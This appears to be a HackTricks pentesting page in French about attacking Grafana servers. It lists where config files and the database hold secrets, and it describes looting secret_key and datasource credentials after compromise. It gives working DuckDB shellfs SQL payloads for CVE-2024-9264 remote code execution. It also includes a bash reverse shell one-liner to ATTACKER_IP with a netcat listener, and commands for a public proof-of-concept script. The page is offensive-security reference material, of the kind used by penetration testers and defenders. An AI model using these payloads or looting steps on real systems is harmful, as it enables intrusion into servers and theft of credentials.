Grafana
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Points intéressants
- Le fichier de config principal se trouve généralement dans
/etc/grafana/grafana.ini(Deb/RPM) et peut contenir des valeurs sensibles telles queadmin_user,admin_password,secret_key, les paramètres OAuth, les identifiants SMTP, et les renderer tokens. - Par défaut Grafana stocke les données dans SQLite3 sous
/var/lib/grafana/grafana.db. - Les fichiers de provisioning sont très intéressants après un accès à l’hôte :
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- L’expansion des variables d’environnement est prise en charge dans les fichiers de provisioning, donc leaked YAML révèle souvent à la fois des secrets et les noms des env vars qui les alimentent.
- Les plugins installés se trouvent généralement sous
/var/lib/grafana/plugins. - Depuis la plateforme, vous pouvez inviter des personnes, générer des API keys / service account tokens, lister les plugins, ou installer de nouveaux plugins selon le rôle.
- Le navigateur est aussi une source d’informations : Grafana expose la configuration non secrète des datasources au frontend. Si vous avez une session Viewer (ou si l’anonymous access est activé), inspectez
window.grafanaBootDatadepuis les DevTools.
Vérifications SQLite utiles:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Récupération des datasources et des secrets
Grafana sépare la configuration lisible par le navigateur des secrets chiffrés :
jsonDataest visible aux utilisateurs dans le navigateur et suffit souvent à énumérer les hôtes internes, tenants, modes d’authentification, noms d’en-tête, régions AWS, index Elasticsearch, tenants Loki, URLs Prometheus et autres données de recon similaires.secureJsonDataest chiffré côté serveur et n’est plus lisible depuis le navigateur après la sauvegarde de la datasource.
Flux de post-exploitation :
- Dump
grafana.iniet récupérersecret_key. - Loot
grafana.dbet les fichiers de provisioning. - Énumérer les datasources et la configuration des plugins pour trouver des identifiants réutilisables et des endpoints internes.
- Si vous migrez ou rejouez la base de données dans une autre instance Grafana, conservez le même
secret_keysinon les mots de passe/tokens de datasource stockés ne se déchiffreront pas correctement.
Pourquoi secret_key est important dans les versions récentes :
- Depuis Grafana v9, les secrets de la base de données utilisent le chiffrement par enveloppe.
- Grafana chiffre les secrets avec des clés de chiffrement des données (DEKs), et ces DEKs sont chiffrées avec une clé de chiffrement de clé (KEK) dérivée de
secret_key. - Du point de vue d’un attaquant,
grafana.db+secret_keyest la paire à voler.
Surface d’attaque des plugins
Traitez les plugins comme faisant partie de la cible, pas comme une note de bas de page :
- Énumérez-les depuis le système de fichiers, depuis l’UI, ou via l’API :
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Les plugins plus anciens ou tiers étendent régulièrement la portée de Grafana vers des réseaux internes parce qu’ils font du proxy HTTP ou interagissent avec des fichiers/bases de données locaux.
- Des exemples récents incluent SSRF dans le plugin Infinity (
< 3.4.1) et des voies d’abus où le plugin Image Renderer transforme un autre bug en full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
La fonctionnalité expérimentale SQL Expressions de Grafana peut évaluer des requêtes DuckDB intégrant du texte contrôlé par l’utilisateur. Une désinfection insuffisante permet à des attaquants d’enchaîner des instructions DuckDB et de charger l’extension communautaire shellfs, qui expose des commandes shell via des fichiers virtuels alimentés par des pipes.
Impact
- Tout utilisateur authentifié avec le rôle VIEWER ou supérieur peut obtenir l’exécution de code en tant qu’utilisateur OS de Grafana (souvent grafana ; parfois root à l’intérieur d’un conteneur) ou effectuer des lectures de fichiers locaux.
- Préconditions couramment remplies dans les déploiements réels :
- SQL Expressions activées :
expressions.enabled = true - binaire
duckdbprésent dans le PATH du serveur
Vérifications rapides
- Dans l’UI/API, parcourez les paramètres Admin (Swagger:
/swagger-ui, endpoint/api/admin/settings) pour confirmer : expressions.enabledesttrue- Optionnel : version, types de datasource, et paramètres généraux de durcissement
- Shell sur l’hôte :
which duckdbdoit renvoyer un chemin pour que l’exploit suivant fonctionne.
Patron de requête manuel utilisant DuckDB + shellfs
- Flux d’abus (2 requêtes) :
- Installer et charger l’extension shellfs, exécuter une commande, rediriger la sortie combinée vers un fichier temporaire via un pipe
- Relire le fichier temporaire à l’aide de
read_blob
Exemples de payloads SQL Expressions envoyés à DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Remplacez CMD par la commande souhaitée. Pour la lecture de fichiers (LFI) vous pouvez à la place utiliser les fonctions de fichiers de DuckDB pour lire les fichiers locaux.
Exemple de reverse shell en une seule ligne
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Intégrez cela comme CMD dans la première requête tant que vous avez un listener : nc -lnvp 443.
PoC automatisé
- PoC public (basé sur cfreal’s ten framework) :
- https://github.com/nollium/CVE-2024-9264
Exemple d’utilisation
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
If output shows uid=0(root), Grafana is running as root (common inside some containers).
2025 client-side traversal / open redirect chain
La chaîne 2025 (Grafana client-side traversal / open-redirect) est déjà documentée dans des pages client-side plus générales. Utilisez ces techniques contre des chemins spécifiques à Grafana tels que plugin assets, dashboard script loaders, et token-rotation redirects:
Références
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


